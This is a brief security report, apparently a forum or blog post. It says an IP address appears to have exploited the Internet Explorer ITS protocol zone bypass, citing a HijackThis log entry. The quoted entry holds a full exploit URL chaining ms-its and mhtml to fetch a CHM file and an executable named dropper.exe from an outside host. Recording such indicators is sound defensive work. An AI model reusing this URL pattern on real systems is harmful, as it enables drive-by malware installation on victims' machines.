63.217.31.72 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11120607-1001-1111-1000-110199901123} - ms-its:mhtml:file://C:\foo.mht!http://63.217.31.72/d1//xxx.chm::/dropper.exe
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